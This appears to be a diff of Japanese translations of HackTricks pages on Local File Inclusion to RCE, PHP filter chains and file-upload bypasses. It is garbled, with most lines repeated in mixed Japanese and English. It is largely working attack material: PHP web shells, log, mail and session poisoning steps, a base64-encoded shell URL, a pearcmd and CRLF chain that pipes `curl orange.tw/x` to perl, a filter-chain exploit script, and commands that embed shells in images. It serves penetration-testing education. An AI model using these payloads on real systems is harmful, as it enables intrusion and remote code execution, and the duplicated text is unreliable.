- 配置したペイロードにブラウザでアクセスし、コマンドを実行する。
Notes:
- 書き込みを行う脆弱なサービスは非HTTPポートで待ち受けている場合があります(例: TCP 4004 上の JMF XML listener。メインのwebポータル別ポートが後からあなたのpayloadを配信します。
- Javaスタックでは、これらのファイル書き込みは単純な `File`/`Paths` の連結で実装されていることが多いです。正規化canonicalisationや allow-listing の欠如が根本的な欠陥です。
- 書き込みを行う脆弱なサービスは非HTTPポートで待ち受けている場合がある(例: TCP 4004 上の JMF XML listener。メインの web ポータル(別ポート)が後であなたのペイロードを配信することがあります。
- Java スタックでは、これらのファイル書き込みは単純な `File`/`Paths` の連結で実装されることが多いです。正規化や allow-listing の欠如が根本的な欠陥です。
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@ -466,26 +466,26 @@ in.transferTo(out);
</Command>
</JMF>
```
この種のバグを防ぐハードニング:
- 正規化されたパスに解決し、それが許可リストにあるベースディレクトリの子孫であることを強制する。
- `..`、絶対ルート、またはドライブ文字を含むパスは拒否する。生成されたファイル名を優先する。
- 書き込み処理を低権限アカウントで実行し、書き込みディレクトリを配信ルートから分離する。
Hardening that defeats this class of bugs:
- 正規化されたパスに解決し、それが allow-listed ベースディレクトリの子孫であることを強制する。
- `..`、絶対ルート、ドライブ文字を含むパスは拒否する;生成されたファイル名を優先する。
- writer を低権限アカウントで実行し、書き込みディレクトリを配信ルートから分離する。
## Remote File Inclusion
前述の通り、[**follow this link**](#remote-file-inclusion)。
### Apache/Nginx ログファイル経由
### Apache/Nginx ログファイル経由
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
Apache または Nginx サーバが **vulnerable to LFI** の場合、include 関数内から **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** にアクセスを試み、**user agent** または **GET parameter** に PHP シェル(例 **`<?php system($_GET['c']); ?>`**)を設定してそのファイルを include できます。
> [!WARNING]
> 注意: シェルを **ダブルクォート** で囲むと **シングルクォート** の代わりに、ダブルクォートが文字列 "_**quote;**_" に変更され、**PHP はそこでエラーを投げ**、**それ以降何も実行されません**
> 注意:シェルで **ダブルクォートを使用した場合**、ダブルクォートは文字列 "_**quote;**_" に変更され、**PHP はエラーを発生させます** そこで **何も実行されません**
>
> また、**write correctly the payload** を必ず行ってください。さもないと、PHP はログファイルを読み込むたびにエラーとなり、二度目のチャンスはありません。
> また、**write correctly the payload** を必ず行ってください。さもなければ、ログファイルを読み込むたびに PHP がエラーになり、再挑戦の機会はありません。
他のログでも同様のことは可能ですが、**be careful,** ログ内のコードが URL エンコードされている場合があり、これにより Shell が無効化されることがあります。ヘッダ **authorisation "basic"** は "user:password" を Base64 で含み、ログ内でデコードされます。The PHPShell could be inserted inside this header.\
他の可能なログパス:
他のログでも同様の手法が可能ですが、**be careful,** ログ内のコードが URL encoded されているとシェルが壊れる可能性があります。ヘッダ **authorisation "basic"** は Base64 で "user:password" を含み、ログ内でデコードされます。PHPShell はこのヘッダ内に挿入できる可能性があります。\
その他の可能なログパス:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -501,31 +501,31 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### メール経由
**Send a mail** を内部アカウント (user@localhost) に送り、PHP payload例: `<?php echo system($_REQUEST["cmd"]); ?>`)を含め、ユーザのメールを **`/var/mail/<USERNAME>`** や **`/var/spool/mail/<USERNAME>`** のようなパスで include してみる
**メールを送信する** 内部アカウント (user@localhost) 宛てに、`<?php echo system($_REQUEST["cmd"]); ?>` のような PHP payload を含め、そのユーザーのメールを **`/var/mail/<USERNAME>`** や **`/var/spool/mail/<USERNAME>`** のようなパスで include してみる
### /proc/\*/fd/\* 経由
### /proc/*/fd/* 経由
1. 多数の shells をアップロードする(例: 100
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) を include する。ここで $PID はプロセスの PIDブルートフォース可能、$FD はファイルディスクリプタ(こちらもブルートフォース可能)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), ここで $PID はプロセスの PIDbrute forced 可能)、$FD はファイルディスクリプタ(これも brute forced 可能)です
### /proc/self/environ 経由
ログファイルと同様に、User-Agent にペイロードを送ると /proc/self/environ ファイル内に反映される。
ログファイルと同様に、User-Agent にペイロードを入れて送信すると /proc/self/environ に反映されます
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
### アップロード経由
ファイルをuploadできる場合は、単にその中にshell payloadを注入してください`<?php system($_GET['c']); ?>`)。
もしファイルをアップロードできるなら、そこに shell payload を注入するだけです(例: `<?php system($_GET['c']); ?>`)。
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
ファイルを読みやすく保つために、画像ドキュメントPDF のメタデータに注入するのが最適です
ファイルの可読性を保つためには、画像、doc、pdfのメタデータに注入するのが最良です
### ZIPファイルのアップロード経由
### Zip file アップロード経由
PHP shell を含む圧縮された ZIP ファイルをアップロードしてアクセス:
PHP shell を含む圧縮されたZIPファイルをアップロードし、アクセス:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
@ -536,7 +536,7 @@ example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
PHPでは、これらのセッションは_/var/lib/php5/sess\\_\[PHPSESSID]\_ファイルに保存されます
PHPでは、これらのセッションは _/var/lib/php5/sess\\_\[PHPSESSID]\_ ファイルに保存されます
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -549,106 +549,106 @@ LFIを使ってPHPのセッションファイルを読み込む
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### 経由 ssh
### ssh 経由
ssh が有効なら、どのユーザーで動作しているかを確認してください(/proc/self/status & /etc/passwdし、**\<HOME>/.ssh/id_rsa** にアクセスしてみてください
ssh が有効な場合、どのユーザが使われているかを確認してください (/proc/self/status & /etc/passwd) と、**\<HOME>/.ssh/id_rsa** にアクセスを試みます
### **経由** **vsftpd** _**ログ**_
FTP サーバ vsftpd のログは _**/var/log/vsftpd.log**_ にあります。Local File Inclusion (LFI) 脆弱性が存在し、公開されている vsftpd サーバにアクセスできる場合、次の手順を検討できます:
FTP サーバ vsftpd のログは _**/var/log/vsftpd.log**_ にあります。Local File Inclusion (LFI) 脆弱性が存在し、公開された vsftpd サーバにアクセスできる場合、次の手順を検討できます:
1. ログイン処理中に username フィールドへ PHP payload を注入する。
2. 注入後、LFI を利用して _**/var/log/vsftpd.log**_ からサーバログを取得する。
1. ログイン時の username フィールドに PHP ペイロードを注入する。
2. 注入後、LFI を使ってサーバログ _**/var/log/vsftpd.log**_ を取得する。
### 経由 php base64 filter (using base64)
### php base64 filter 経由 (using base64)
この記事の例([this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)に示されているように、PHP の base64 filter は非 base64 文字を無視します。これを利用してファイル拡張子のチェックをバイパスできます:末尾が ".php" で終わる base64 を渡すと、"." を無視して "php" を base64 に付け足します。以下は例の payload です:
この[記事](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)が示すように、PHP の base64 filter は Non-base64 を無視します。これを利用してファイル拡張子チェックをバイパスできます: base64 を ".php" で終わらせると、"." を無視して "php" を base64 に追加します。以下は例のペイロードです:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### php filters を利用(ファイル不要)
### php filters 経由(ファイル不要)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)では、**php filters を使って任意のコンテンツを出力として生成できる** と説明しています。つまり、include に対して **ファイルに書き込む必要なく任意の php コードを生成できる** ということです。
この [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) は、**php filters を使用して任意のコンテンツを出力**できることを説明しています。これは基本的に、include のために **任意の php コードを生成**でき、**ファイルに書き込む必要がない**ことを意味します。
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### セグメンテーションフォルトを利用
### segmentation fault 経由
**Upload** したファイルは `/tmp`**temporary** として保存されます。次に同じリクエスト内で **segmentation fault** を発生させると、**temporary file won't be deleted** ため、そのファイルを探すことができます。
ファイルを **アップロード** すると `/tmp`**一時的** に保存されます。次に **同一リクエスト内で** segmentation fault を発生させると、**一時ファイルが削除されず** に残るため、探すことができます。
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Nginx の一時ファイルストレージを利用
### Nginx の一時ファイル保存を利用
もし **Local File Inclusion** を見つけ、かつ **Nginx** が PHP の前段にある場合、以下の手法で RCE を得られる可能性があります:
もし **Local File Inclusion** を見つけ、PHP の前段に **Nginx** が動作している場合、次の手法で RCE を得られる可能性があります:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
### PHP_SESSION_UPLOAD_PROGRESS を利用
### PHP_SESSION_UPLOAD_PROGRESS を利用して
もし **Local File Inclusion** を見つけていて、たとえ **don't have a session**`session.auto_start``Off` でも、**multipart POST** データに **`PHP_SESSION_UPLOAD_PROGRESS`** を含めると、PHP が **セッションを有効にしてくれます**。これを悪用して RCE を得ることができます:
session を持っていない場合や `session.auto_start``Off` の場合でも **Local File Inclusion** を見つけたら、multipart POST データで **`PHP_SESSION_UPLOAD_PROGRESS`** を提供すると、PHP が自動的にセッションを有効化します。これを悪用して RCE を得ることができます:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Windows の一時ファイルアップロードを利用
### Windows の一時ファイルアップロードを利用して
もし **Local File Inclusion** を見つけ、サーバが **Windows** 上で動作している場合、RCE を得られる可能性があります:
もし **Local File Inclusion** を見つけ、サーバが **Windows** 上で動作しているなら、RCE を得られる可能性があります:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
### `pearcmd.php` + URL 引数を利用
### `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)、スクリプト `/usr/local/lib/phppearcmd.php` は php docker イメージにデフォルトで存在します。さらに、URL 経由でスクリプトに引数を渡せます。URL パラメータに `=` が含まれない場合は引数として扱われるためです。詳細は [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) も参照してください。
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
以下は CRLF vuln を悪用して RCE を得る例です(出典: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
以下は CRLF vuln を悪用して RCE を取得する例です (出典: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### phpinfo() 経由 (file_uploads = on)
### Via phpinfo() (file_uploads = on)
もし **Local File Inclusion** を発見し、file_uploads = on で **phpinfo()** を公開しているファイルがあれば、RCE を取得できます:
もし**Local File Inclusion**を見つけ、かつ**phpinfo()**を公開していて file_uploads = on のファイルがあれば、RCEを得られる可能性があります:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure 経由
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
もし **Local File Inclusion** を発見し、一時ファイルのパスを **can exfiltrate the path** できるが、**server** が **checking** して含めるファイルに **PHP marks** があるか確認している場合は、この **Race Condition** を使ってそのチェックを **bypass that check** できるか試してみてください:
もし**Local File Inclusion**を見つけ、一時ファイルの**pathをexfiltrateできる**が、**server**が含めるファイルにPHPのマークがあるかを**checking**している場合、この**Race Condition**でそのチェックを**bypass**できることがあります:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### eternal waiting + bruteforce 経由
### Via eternal waiting + bruteforce
もし LFI を悪用して **upload temporary files** し、サーバーによって PHP 実行を **hang** させられるなら、何時間もかけてファイル名を **brute force filenames during hours** して一時ファイルを見つけられる可能性があります:
もしLFIを悪用して**upload temporary files**させ、サーバー側でPHP実行を**hang**させられるなら、数時間にわたって**brute force filenames during hours**して一時ファイルを見つけることができます:
{{#ref}}
@ -657,14 +657,14 @@ lfi2rce-via-eternal-waiting.md
### To Fatal Error
If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
もし `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` のいずれかを含めると同じものを2回含める必要がありますそのエラーが発生します。
**正直どのように役立つかはわかりませんが、役に立つかもしれません。**\
_たとえ PHP Fatal Error を引き起こしても、アップロードされた PHP の一時ファイルは削除されます。_
**I don't know how is this useful but it might be.**\
_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## 参考
## References
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
@ -673,6 +673,7 @@ _たとえ PHP Fatal Error を引き起こしても、アップロードされ
- [watchTowr We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
- [Orange Tsai Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
- [VTENEXT 25.02 a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#file}}
EN-Local-File-Inclusion-1.pdf

View File

@ -2,38 +2,39 @@
{{#include ../../banners/hacktricks-training.md}}
## Intro
この[**書き込み**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)は、**phpフィルターを使用して任意のコンテンツを出力として生成できる**ことを説明しています。基本的には、**ファイルに書き込むことなく任意のphpコードを生成できる**ということです。
## はじめに
基本的にスクリプトの目的は、**ファイルの最初にBase64**文字列を生成し、最終的に**デコード**されて、`include`によって**解釈される**所望のペイロードを提供することです。
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. つまり、includeのために**generate arbitrary php code** をファイルに書き込むことなく生成できる、ということです。
これを行うための基本は次のとおりです:
基本的には、このスクリプトの目的はファイルの先頭に**generate a Base64**文字列を置き、最終的に**finally decoded**して望むペイロードを得て、それが**interpreted by `include`**されることです。
- `convert.iconv.UTF8.CSISO2022KR`は常に文字列の先頭に`\x1b$)C`を追加します
- `convert.base64-decode`は非常に寛容で、基本的に有効なbase64でない任意の文字を無視します。予期しない"="が見つかると問題が発生しますが、それは`convert.iconv.UTF8.UTF7`フィルターで削除できます。
これを行うための基本は:
任意のコンテンツを生成するためのループは次のとおりです:
- `convert.iconv.UTF8.CSISO2022KR` は常に文字列の先頭に `\x1b$)C` を付加します
- `convert.base64-decode` は非常に寛容で、基本的に有効なbase64でない文字は無視します。予期しない "=" を見つけると問題を起こすことがありますが、それらは `convert.iconv.UTF8.UTF7` フィルタで取り除けます。
1. 上記のように文字列の先頭に`\x1b$)C`を追加します
2. 初期のbase64をそのままにして、先ほど追加した部分を次のbase64エンコードされたphpコードの有効なbase64文字だけの文字列に変換するiconv変換のチェーンを適用します
3. 文字列をbase64デコードしてbase64エンコードし、その間のゴミを取り除きます
4. 構築したいbase64がまだ完成していない場合は1に戻ります
5. base64デコードしてphpコードを取得します
任意のコンテンツを生成するループは次の通りです:
1. 上記のように、文字列の先頭に `\x1b$)C` を付加する
2. 初期のbase64をそのままに保ち、先ほど付加した部分を変換して、そこに含まれる有効なbase64文字が次に挿入したいbase64エンコードされたphpコードの次の部分だけになるようにする一連のiconv変換を適用する
3. 文字列をbase64-decodeしてからbase64-encodeすることで、間にある不要なゴミを除去する
4. 構築したいbase64がまだ完成していなければ、1に戻る
5. 最後にbase64-decodeしてphpコードを得る
> [!WARNING]
> **インクルード**は通常、ファイルの**末尾に".php"を追加する**ようなことを行うため、これにより悪用が難しくなる可能性があります。なぜなら、悪用を妨げない内容の.phpファイルを見つける必要があるからです...または、**リソースとして`php://temp`を使用することができます**。これは**名前に何でも追加できる**ため(例えば"+.php")、それでも悪用が機能します!
> **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work!
## 結果データにサフィックスを追加する方法
## 生成したデータにサフィックスを追加する方法
[**この書き込みは説明しています**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) PHPフィルターを悪用して結果の文字列にサフィックスを追加する方法を。これは、出力に特定のフォーマットjsonやPNGマジックバイトの追加などが必要な場合に便利です。
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. 出力を特定のフォーマットjson のような、あるいは PNG のマジックバイトを追加するような)にする必要がある場合に便利です。
## 自動ツール
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(サフィックスを追加できます)**
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
## 完全なスクリプト
## フルスクリプト
```python
import requests
@ -93,9 +94,9 @@ r = requests.get(url, params={
print(r.text)
```
### 改善点
### Improvements
前のスクリプトは、そのペイロードに必要なbase64文字に制限されています。したがって、私は**すべてのbase64文字をブルートフォースする**ための独自のスクリプトを作成しました:
前のスクリプトは、そのペイロードに必要な base64 文字だけに限定されていました。したがって、私は独自のスクリプトを作成して **bruteforce all the base64 characters**:
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -164,7 +165,7 @@ conversions = {
'=': ''
}
```
ここに各b64文字を生成するエンコーディングを取得するための**スクリプト**があります:
b64 文字を生成するエンコーディングを取得するための**script**は次のとおりです:
```php
<?php
@ -250,9 +251,10 @@ find_vals($init);
}
?>
```
## さらなる参考文献
## 参考資料
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,12 @@
{{#include ../../banners/hacktricks-training.md}}
## ファイルアップロード一般的手
## ファイルアップロードの一般的な方
他の有用な拡張子:
Other useful extensions:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **PHPv8での作業**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -17,11 +17,11 @@
### ファイル拡張子チェックのバイパス
1. 適用される場合、**前の拡張子をチェック**します。また、いくつかの**大文字**を使用してテストします: _pHp, .pHP5, .PhAr ..._
2. _実行拡張子の前に**有効な拡張子を追加**してチェックします(前の拡張子も使用):_
1. 該当する場合は、前述の拡張子をチェックしてください。また大文字を使ってテストすることも有効です: _pHp, .pHP5, .PhAr ..._
2. 実行拡張子の前に有効な拡張子を追加してみる(前述の拡張子も使用):
- _file.png.php_
- _file.png.Php5_
3. **特殊文字を末尾に追加**してみてください。Burpを使用してすべての**ascii**および**Unicode**文字を**ブルートフォース**することができます。 (_前述の**拡張子**を使用してより良いペイロードを準備することもできます_)
3. 末尾に特殊文字を付けてみる。Burp を使って ascii と Unicode の文字を総当たりすることもできます。 (_前述の拡張子を試すこともできます_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. **サーバー側の拡張子パーサーをだまして**保護をバイパスしてみてください。**拡張子を二重にする**か、**ジャンク**データ(**null**バイト)を拡張子の間に追加します。 _前述の**拡張子**を使用してより良いペイロードを準備することもできます。_
4. サーバ側の拡張子パーサを騙して保護を回避する拡張子の二重化や拡張子間にゴミデータnull バイトを挿入するなど。_より良いペイロードのために前述の拡張子を使うこともできます。_
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,75 +40,75 @@
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. 前のチェックに**別の拡張子の層を追加**します:
5. 前述のチェックにさらに拡張子のレイヤを追加する:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. **有効な拡張子の前にexec拡張子を置き**、サーバーが誤って設定されていることを祈ります。(**.php**で終わらないが、**.php**拡張子を持つものはすべてコードを実行するApacheの誤設定を悪用するのに役立ちます:
- _: file.php.png_
7. **Windows**の**NTFS代替データストリームADS**を使用します。この場合、禁止された拡張子の後と許可された拡張子の前にコロン文字「:」が挿入されます。その結果、サーバー上に**禁止された拡張子を持つ空のファイル**が作成されます(例: “file.asax:.jpg”。このファイルは、他の技術を使用して後で編集することができます。 “**::$data**”パターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます(例: “file.asp::$data.”)
8. ファイル名の制限を破ることを試みます。有効な拡張子が切り捨てられ、悪意のあるPHPが残ります。 AAA<--SNIP-->AAA.php
6. 実行拡張子を有効な拡張子の前に置いて、サーバが誤設定されていることを祈るApache の誤設定を突く際に、拡張子に .php が含まれていれば実行されるが、必ずしも .php で終わらない場合でもコードが実行されることがある:
- _ex: file.php.png_
7. Windows の **NTFS alternate data stream (ADS)** を利用する。禁じられた拡張子の後にコロン ":" を挿入し、許可された拡張子の前に置くと、サーバ上に**空のファイル(禁じられた拡張子)**が作成されます(例: "file.asax:.jpg")。このファイルは後で短いファイル名などを使って編集できる場合があります。 "**::$data**" パターンを使って非空のファイルを作成することも可能です。したがって、このパターンの後にドットを付けることでさらに制限を回避できる場合があります(例: "file.asp::$data.")。
8. ファイル名の長さ制限を突いて拡張子を切り捨てさせる。正当な拡張子が切れてしまい、悪意ある PHP が残る。AAA<--SNIP-->AAA.php
```
# Linuxの最大255バイト
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここから4を引いて.pngを追加
# ファイルをアップロードし、どれだけの文字を許可するか応答を確認します。236としましょう
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# ペイロードを作成
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
```
### コンテンツタイプ、マジックナンバー、圧縮およびリサイズのバイパス
### Content-Type, Magic Number, 圧縮 & リサイズのバイパス
- **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **ワードリスト**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- ファイルの先頭に**実際の画像のバイト**を追加して**マジックナンバー**チェックをバイパスします_file_コマンドを混乱させます。または、**メタデータ**内にシェルを挿入します:\
- Content-Type チェックは Content-Type ヘッダの値を次のように設定して回避できます: _image/png_, _text/plain_, application/octet-stream
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- magic number チェックは、ファイルの先頭に本物の画像のバイト列を追加して回避できますfile コマンドを混乱させる)。あるいはシェルをメタデータ内に埋め込むことも可能です:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` または、画像内に**ペイロードを直接挿入**することもできます:\
またはペイロードを直接画像に挿入することもできます:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- 画像に**圧縮が追加されている**場合、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。しかし、**PLTEチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を生き残るテキストを挿入することができます。
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- ウェブページが画像を**リサイズ**している場合、たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用している場合、前述の技術は役に立ちません。しかし、**IDATチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を生き残るテキストを挿入することができます。
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 画像の**リサイズを生き残る**ペイロードを作成する別の技術として、PHP-GD関数`thumbnailImage`を使用します。しかし、**tEXtチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を生き残るテキストを挿入することができます。
